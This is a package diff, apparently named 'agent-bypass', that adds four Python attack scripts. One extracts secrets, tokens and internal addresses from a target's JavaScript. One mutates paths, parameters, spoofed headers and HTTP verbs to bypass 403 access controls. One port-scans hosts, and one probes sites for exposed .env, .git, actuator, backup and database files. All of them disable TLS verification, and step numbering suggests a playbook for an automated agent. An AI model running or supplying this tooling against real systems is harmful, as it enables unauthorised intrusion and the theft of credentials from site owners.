agent-bypass 2.11.0

package/scripts/jsrip.py

@@ -0,0 +1,141 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""
+JS 静态文件提取器（§01 Step 8 侧枝折射）
+
+从 JS bundle 里提取:
+  · API 接口路径
+  · 硬编码密钥/token
+  · sourcemap 地址
+  · 内网地址 / 埋点上报地址
+  · 注释 / TODO / 调试信息
+
+用法:
+  python3 jsrip.py https://target.com/static/app.js
+  python3 jsrip.py https://target.com --scan       # 自动找页面引用的 JS
+  python3 jsrip.py https://target.com/app.js --json
+"""
+import argparse, json, re, ssl, sys, urllib.parse
+import urllib.request, urllib.error
+
+CTX = ssl.create_default_context()
+CTX.check_hostname = False
+CTX.verify_mode = ssl.CERT_NONE
+UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120 Safari/537.36"
+
+# 提取规则
+RULES = {
+    "api_path": re.compile(r'["\'`](/[a-zA-Z0-9_\-/]{2,60}(?:/[a-zA-Z0-9_\-{}:.]{1,40})*)["\'`]'),
+    "full_url": re.compile(r'https?://[a-zA-Z0-9._\-]+(?::\d+)?[a-zA-Z0-9._\-/?#=&%]*'),
+    "secret": re.compile(r'(?i)(?:api[_-]?key|apikey|secret|token|passwd|password|auth)["\']?\s*[:=]\s*["\']([^"\']{8,80})["\']'),
+    "aws_key": re.compile(r'AKIA[0-9A-Z]{16}'),
+    "jwt": re.compile(r'eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}'),
+    "sourcemap": re.compile(r'//[#@]\s*sourceMappingURL=([^\s]+)'),
+    "internal_ip": re.compile(r'\b(?:10|172\.(?:1[6-9]|2\d|3[01])|192\.168)\.\d{1,3}\.\d{1,3}\b'),
+    "comment": re.compile(r'/\*\s*(?:TODO|FIXME|HACK|XXX|NOTE)[^*]{0,200}\*/', re.I),
+    "graphql": re.compile(r'(?:query|mutation)\s+\w+\s*[({]'),
+    "websocket": re.compile(r'wss?://[a-zA-Z0-9._\-:]+[a-zA-Z0-9._\-/?#=&%]*'),
+}
+
+
+def get(url, timeout=20):
+    h = {"User-Agent": UA, "Accept": "*/*"}
+    try:
+        r = urllib.request.Request(url, headers=h)
+        with urllib.request.urlopen(r, timeout=timeout, context=CTX) as x:
+            return x.read(3000000).decode("utf-8", "ignore")
+    except Exception as e:
+        print(f"  [错误] {url}: {str(e)[:60]}", file=sys.stderr)
+        return ""
+
+
+def find_js_urls(base):
+    """从 HTML 里找 JS 引用"""
+    html = get(base)
+    if not html:
+        return []
+    urls = set()
+    for m in re.finditer(r'<script[^>]+src=["\']([^"\']+)["\']', html, re.I):
+        urls.add(m.group(1))
+    for m in re.finditer(r'<link[^>]+href=["\']([^"\']+\.js)["\']', html, re.I):
+        urls.add(m.group(1))
+    out = []
+    for u in urls:
+        out.append(urllib.parse.urljoin(base, u))
+    return out
+
+
+def analyze(url, content):
+    hits = {}
+    for name, rx in RULES.items():
+        found = rx.findall(content)
+        if not found:
+            continue
+        # 去重 + 截断
+        uniq = []
+        seen = set()
+        for f in found:
+            v = f if isinstance(f, str) else f[0]
+            v = v.strip()
+            if len(v) < 3 or v in seen:
+                continue
+            seen.add(v)
+            uniq.append(v[:150])
+        if uniq:
+            hits[name] = uniq[:40]
+    return hits
+
+
+def main():
+    ap = argparse.ArgumentParser(description="JS 静态文件提取器")
+    ap.add_argument("target", help="JS 文件 URL 或站点 URL（配合 --scan）")
+    ap.add_argument("--scan", action="store_true", help="从 HTML 自动找 JS")
+    ap.add_argument("--json", action="store_true")
+    ap.add_argument("--depth", type=int, default=5, help="最多分析几个 JS")
+    a = ap.parse_args()
+
+    targets = []
+    if a.scan:
+        print(f"[*] 扫描 {a.target} 引用的 JS...", file=sys.stderr)
+        targets = find_js_urls(a.target)[:a.depth]
+        if not targets:
+            print("  (未找到 JS 引用)", file=sys.stderr)
+    else:
+        targets = [a.target]
+
+    allhits = {}
+    for u in targets:
+        print(f"[*] 分析 {u}", file=sys.stderr)
+        c = get(u)
+        if not c:
+            continue
+        hits = analyze(u, c)
+        if hits:
+            allhits[u] = hits
+
+    if a.json:
+        print(json.dumps(allhits, ensure_ascii=False, indent=1))
+        return
+
+    # 人类可读输出
+    LABEL = {
+        "api_path": "接口路径", "full_url": "完整 URL", "secret": "★ 疑似密钥",
+        "aws_key": "★★ AWS Key", "jwt": "★★ JWT", "sourcemap": "★ sourcemap",
+        "internal_ip": "★ 内网 IP", "comment": "注释/TODO",
+        "graphql": "GraphQL", "websocket": "WebSocket",
+    }
+    for u, hits in allhits.items():
+        print(f"\n{'='*66}\n{u}\n{'='*66}")
+        for name in ("aws_key", "jwt", "secret", "sourcemap", "internal_ip",
+                     "websocket", "graphql", "api_path", "full_url", "comment"):
+            if name not in hits:
+                continue
+            print(f"\n[{LABEL.get(name, name)}] {len(hits[name])} 条")
+            for v in hits[name][:25]:
+                print(f"   {v}")
+            if len(hits[name]) > 25:
+                print(f"   ... 还有 {len(hits[name])-25} 条")
+
+
+if __name__ == "__main__":
+    main()

package/scripts/mutate.py

@@ -0,0 +1,191 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""
+自适应变异调度器（§01 Step 6a）
+
+对同一个请求，按 L1→L5 层级自动生成变异，逐个发送，
+对比响应差异，找出能绕过的那一个。
+
+用法:
+  # 基础：对 URL 做路径变异
+  python3 mutate.py https://target.com/admin
+
+  # 带阻断基线：先记 403 的响应特征，再找能绕过的
+  python3 mutate.py https://target.com/admin --baseline-status 403
+
+  # 参数变异
+  python3 mutate.py "https://target.com/api?id=1" --mode param
+
+  # 自定义 header 变异
+  python3 mutate.py https://target.com/admin --mode header
+
+  # 输出全部（含失败）
+  python3 mutate.py https://target.com/admin --all
+"""
+import argparse, ssl, sys, urllib.parse
+import urllib.request, urllib.error
+
+CTX = ssl.create_default_context()
+CTX.check_hostname = False
+CTX.verify_mode = ssl.CERT_NONE
+UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120 Safari/537.36"
+
+
+def req(url, method="GET", headers=None, data=None, timeout=12):
+    h = {"User-Agent": UA, "Accept": "*/*"}
+    if headers:
+        h.update(headers)
+    body = data.encode() if isinstance(data, str) else data
+    try:
+        r = urllib.request.Request(url, data=body, headers=h, method=method)
+        with urllib.request.urlopen(r, timeout=timeout, context=CTX) as x:
+            return x.status, len(x.read(300000)), dict(x.headers)
+    except urllib.error.HTTPError as e:
+        return e.code, 0, dict(e.headers)
+    except Exception as e:
+        return None, 0, {"_err": str(e)[:50]}
+
+
+# ── L3 路径变异 ──
+def path_variants(path):
+    p = path.lstrip("/")
+    out = [
+        ("原值", f"/{p}"),
+        ("URL编码", "/" + p.replace("/", "%2f")),
+        ("双重编码", "/" + p.replace("/", "%252f")),
+        ("全编码", "/" + "".join("%" + hex(ord(c))[2:] for c in p if c != "/")),
+        ("双斜杠", f"//{p}"),
+        ("点斜杠", f"/./{p}"),
+        ("尾部斜杠", f"/{p}/"),
+        ("尾部分号", f"/{p};.css"),
+        ("尾部点", f"/{p}."),
+        ("尾部%20", f"/{p}%20"),
+        ("尾部%00", f"/{p}%00.html"),
+        ("大写", f"/{p.upper()}"),
+        ("上级穿越", f"/./{p}/../{p}"),
+        ("问号截断", f"/{p}?x=.css"),
+        ("井号截断", f"/{p}#.css"),
+        ("分号参数", f"/{p};x=1"),
+        ("反斜杠", f"/{p.replace('/', chr(92))}"),
+        ("过编UTF8", "/" + p.replace("/", "%c0%af")),
+        ("全角点", "/" + p.replace("/", "％２ｆ")),
+    ]
+    return out
+
+
+# ── L5 参数变异 ──
+def param_variants(query):
+    if not query:
+        return [("原值", "")]
+    parts = dict(urllib.parse.parse_qsl(query, keep_blank_values=True))
+    out = [("原值", query)]
+    for k, v in parts.items():
+        out += [
+            (f"{k} HPP", f"{query}&{k}={v}2"),
+            (f"{k} 数组", f"{k}[]={v}"),
+            (f"{k} 空字节", f"{k}={v}%00"),
+            (f"{k} 类型混淆", f"{k}={v}.0"),
+            (f"{k} 科学计数", f"{k}={v}e1"),
+            (f"{k} 负数", f"{k}=-{v}"),
+            (f"{k} 超长", f"{k}={'A'*500}"),
+            (f"{k} 换行", f"{k}={v}%0a"),
+        ]
+    return out[:40]
+
+
+# ── L4 header 变异 ──
+HEADER_VARIANTS = [
+    ("原值", {}),
+    ("XFF 本地", {"X-Forwarded-For": "127.0.0.1"}),
+    ("X-Real-IP", {"X-Real-IP": "127.0.0.1"}),
+    ("X-Originating-IP", {"X-Originating-IP": "127.0.0.1"}),
+    ("X-Forwarded-Host", {"X-Forwarded-Host": "127.0.0.1"}),
+    ("X-Original-URL", {"X-Original-URL": "/"}),
+    ("X-Rewrite-URL", {"X-Rewrite-URL": "/"}),
+    ("X-Forwarded-Prefix", {"X-Forwarded-Prefix": "/"}),
+    ("Referer 内页", {"Referer": "http://127.0.0.1/"}),
+    ("表单 CT", {"Content-Type": "application/x-www-form-urlencoded"}),
+    ("JSON CT", {"Content-Type": "application/json"}),
+    ("X-Custom-IP", {"X-Custom-IP-Authorization": "127.0.0.1"}),
+    ("Client-IP", {"Client-IP": "127.0.0.1"}),
+    ("X-Client-IP", {"X-Client-IP": "127.0.0.1"}),
+    ("Forwarded", {"Forwarded": "for=127.0.0.1;host=127.0.0.1"}),
+]
+
+METHODS = ["GET", "POST", "PUT", "PATCH", "DELETE", "HEAD", "OPTIONS", "TRACE"]
+
+
+def main():
+    ap = argparse.ArgumentParser(description="自适应变异调度器")
+    ap.add_argument("url")
+    ap.add_argument("--mode", choices=["path", "param", "header", "method", "all"],
+                    default="all")
+    ap.add_argument("--baseline-status", type=int, help="阻断基线状态码（如 403）")
+    ap.add_argument("--all", action="store_true", help="输出全部，不只差异")
+    a = ap.parse_args()
+
+    u = urllib.parse.urlsplit(a.url)
+    base = f"{u.scheme}://{u.netloc}"
+    path = u.path or "/"
+
+    # 基线
+    st0, ln0, _ = req(a.url)
+    print(f"[基线] {a.url} → {st0}", file=sys.stderr)
+    base_status = a.baseline_status or st0
+
+    results = []
+    tested = 0
+
+    def try_one(label, url, method="GET", headers=None):
+        nonlocal tested
+        tested += 1
+        st, ln, hd = req(url, method, headers)
+        # 判定：状态码变了 或 长度差异明显
+        interesting = False
+        if st is None:
+            interesting = False
+        elif st != base_status:
+            interesting = True
+        elif ln0 and abs(ln - ln0) > max(200, ln0 * 0.15):
+            interesting = True
+        results.append({"label": label, "url": url, "method": method,
+                        "status": st, "len": ln, "interesting": interesting,
+                        "loc": hd.get("Location", "")})
+        if interesting or a.all:
+            mark = "★" if interesting else " "
+            print(f" {mark} [{st}] len={ln:<7} {label:<20} {method} {url[:90]}")
+
+    # 按模式执行
+    if a.mode in ("path", "all"):
+        print("\n=== L3 路径变异 ===", file=sys.stderr)
+        for label, vp in path_variants(path):
+            try_one(f"路径·{label}", base + vp)
+
+    if a.mode in ("param", "all") and u.query:
+        print("\n=== L5 参数变异 ===", file=sys.stderr)
+        for label, q in param_variants(u.query):
+            try_one(f"参数·{label}", f"{base}{path}?{q}")
+
+    if a.mode in ("header", "all"):
+        print("\n=== L4 Header 变异 ===", file=sys.stderr)
+        for label, hd in HEADER_VARIANTS:
+            try_one(f"头·{label}", a.url, headers=hd)
+
+    if a.mode in ("method", "all"):
+        print("\n=== L4 动词变异 ===", file=sys.stderr)
+        for m in METHODS:
+            try_one(f"动词·{m}", a.url, method=m)
+
+    # 汇总
+    hits = [r for r in results if r["interesting"]]
+    print(f"\n{'='*60}", file=sys.stderr)
+    print(f"[结果] 共试 {tested} 种变异，发现 {len(hits)} 个差异响应", file=sys.stderr)
+    for h in hits:
+        print(f"  ★ [{h['status']}] {h['label']} → {h['url'][:100]}", file=sys.stderr)
+
+    if hits:
+        print("\n[下一步] 差异响应写入 learned.md，继续深挖成功的那条", file=sys.stderr)
+
+
+if __name__ == "__main__":
+    main()

package/scripts/portscan.py

@@ -0,0 +1,104 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""
+并发端口扫描（无需 nmap）
+
+用法:
+  python3 portscan.py <host> [--ports 1-65535] [--conc 500] [--timeout 2]
+  python3 portscan.py 1.2.3.4 --ports top100
+  python3 portscan.py 1.2.3.4 --ports 22,80,443,3306,6379
+
+输出: jsonl（每行一个开放端口）
+"""
+import asyncio, json, sys, argparse
+
+TOP100 = [21,22,23,25,53,80,110,111,135,139,143,443,445,993,995,1433,1521,1723,
+          2049,3306,3389,5432,5900,5984,6379,7001,8000,8008,8080,8081,8443,8888,
+          9000,9090,9200,9300,10000,11211,27017,50000]
+TOP20 = [21,22,23,25,53,80,443,445,3306,3389,5432,5900,6379,8000,8080,8443,8888,9000,9200,27017]
+
+COMMON = {
+    21:"ftp",22:"ssh",23:"telnet",25:"smtp",53:"dns",80:"http",110:"pop3",
+    111:"rpcbind",135:"msrpc",139:"netbios",143:"imap",443:"https",445:"smb",
+    993:"imaps",995:"pop3s",1433:"mssql",1521:"oracle",1723:"pptp",
+    2049:"nfs",3306:"mysql",3389:"rdp",5432:"postgres",5900:"vnc",
+    5984:"couchdb",6379:"redis",7001:"weblogic",8000:"http-alt",
+    8008:"http-alt",8080:"http-proxy",8081:"http-alt",8443:"https-alt",
+    8888:"http-alt",9000:"php-fpm",9090:"http-alt",9200:"elasticsearch",
+    9300:"es-transport",10000:"webmin",11211:"memcached",27017:"mongodb",
+    50000:"db2"
+}
+
+
+def parse_ports(s):
+    s = s.strip().lower()
+    if s == "top100":
+        return TOP100
+    if s == "top20":
+        return TOP20
+    out = []
+    for part in s.split(","):
+        part = part.strip()
+        if "-" in part:
+            a, b = part.split("-")
+            out.extend(range(int(a), int(b)+1))
+        elif part:
+            out.append(int(part))
+    return sorted(set(out))
+
+
+async def probe(host, port, timeout=2.0):
+    try:
+        r, w = await asyncio.wait_for(
+            asyncio.open_connection(host, port), timeout=timeout)
+        w.close()
+        try:
+            await w.wait_closed()
+        except Exception:
+            pass
+        return port
+    except Exception:
+        return None
+
+
+async def scan(host, ports, conc=500, timeout=2.0):
+    sem = asyncio.Semaphore(conc)
+    open_ports = []
+
+    async def one(p):
+        async with sem:
+            r = await probe(host, p, timeout)
+            if r:
+                open_ports.append(r)
+
+    await asyncio.gather(*[one(p) for p in ports])
+    return sorted(open_ports)
+
+
+def main():
+    ap = argparse.ArgumentParser(description="并发端口扫描（无需 nmap）")
+    ap.add_argument("host")
+    ap.add_argument("--ports", default="top20",
+                    help="1-65535 / top100 / top20 / 22,80,443")
+    ap.add_argument("--conc", type=int, default=500, help="并发数")
+    ap.add_argument("--timeout", type=float, default=2.0)
+    ap.add_argument("--json", action="store_true", help="只输出 JSONL")
+    a = ap.parse_args()
+
+    ports = parse_ports(a.ports)
+    if not a.json:
+        print(f"# 扫描 {a.host} 共 {len(ports)} 端口 (并发 {a.conc})",
+              file=sys.stderr)
+
+    open_ports = asyncio.run(scan(a.host, ports, a.conc, a.timeout))
+
+    for p in open_ports:
+        rec = {"host": a.host, "port": p, "service": COMMON.get(p, "?")}
+        print(json.dumps(rec, ensure_ascii=False))
+
+    if not a.json:
+        print(f"# 开放 {len(open_ports)} 个: {open_ports}", file=sys.stderr)
+
+
+if __name__ == "__main__":
+    main()

package/scripts/webprobe.py

@@ -0,0 +1,80 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""
+Web 批量指纹 + 路径探测器
+用法: python3 webprobe.py <domain> [<domain> ...]      # 或完整 URL
+输出: jsonl（指纹 + 命中路径）
+"""
+import sys, json, ssl, re, urllib.request, urllib.error, concurrent.futures
+
+UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0 Safari/537.36"
+CTX = ssl.create_default_context()
+CTX.check_hostname = False
+CTX.verify_mode = ssl.CERT_NONE
+
+PROBE_PATHS = [
+    "/", "/robots.txt", "/.env", "/.git/HEAD", "/config.json", "/config.js",
+    "/admin", "/admin/", "/manage/login", "/api/admin", "/api/v1/admin",
+    "/actuator", "/actuator/health", "/actuator/env", "/actuator/beans",
+    "/swagger-ui.html", "/v3/api-docs", "/openapi.json", "/api-docs",
+    "/api/site", "/api/config", "/api/health", "/health", "/version",
+    "/api/v1/guest", "/api/v1/announcement", "/api/query/keys/batch",
+    "/api/v1/recharge/verify-cdk", "/api/v1/lookup/tasks", "/api/verify/cdk",
+    "/api/auth/login", "/api/auth/verify", "/login", "/dashboard",
+    "/backup.zip", "/db.sql", "/phpinfo.php", "/info.php", "/server-status",
+]
+
+def req(url, method="GET", data=None, timeout=12, headers=None):
+    h = {"User-Agent": UA, "Accept": "*/*"}
+    if headers: h.update(headers)
+    body = None
+    if data is not None:
+        body = json.dumps(data).encode()
+        h["Content-Type"] = "application/json"
+    r = urllib.request.Request(url, data=body, headers=h, method=method)
+    try:
+        with urllib.request.urlopen(r, timeout=timeout, context=CTX) as resp:
+            raw = resp.read(4000)
+            return resp.status, dict(resp.headers), raw
+    except urllib.error.HTTPError as e:
+        return e.code, dict(e.headers or {}), (e.read(4000) if e.fp else b"")
+    except Exception as e:
+        return 0, {}, str(e).encode()
+
+def scan(domain):
+    out = {"domain": domain, "hits": [], "errors": []}
+    # 指纹
+    st, hd, bd = req(f"https://{domain}/")
+    txt = bd.decode("utf-8", "replace")
+    out["root_status"] = st
+    out["server"] = hd.get("Server") or hd.get("server")
+    m = re.search(r"<title[^>]*>([^<]*)", txt, re.I)
+    out["title"] = m.group(1).strip() if m else ""
+    out["frameworks"] = sorted(set(re.findall(
+        r"(dujiaoka|独角数卡|ruoyi|若依|spring|actuator|vue|react|nuxt|next|vite|"
+        r"laravel|thinkphp|django|flask|express|gin|subvault|new-api|one-api)",
+        txt + str(hd), re.I)))
+    # 路径探测
+    for p in PROBE_PATHS:
+        s, h, b = req(f"https://{domain}{p}")
+        if s in (200, 201, 301, 302, 401, 403, 405, 500):
+            bt = b[:300].decode("utf-8", "replace")
+            # 过滤 SPA 兜底（同 root 长度 + text/html）
+            if s == 200 and bt[:60] == txt[:60] and len(b) == len(bd):
+                continue
+            out["hits"].append({"path": p, "status": s,
+                                "ct": h.get("Content-Type", "")[:40],
+                                "len": len(b), "body": bt[:220]})
+    return out
+
+def main():
+    domains = sys.argv[1:]
+    if not domains:
+        print(__doc__.strip())
+        sys.exit(0)
+    with concurrent.futures.ThreadPoolExecutor(max_workers=6) as ex:
+        for r in ex.map(scan, domains):
+            print(json.dumps(r, ensure_ascii=False))
+
+if __name__ == "__main__":
+    main()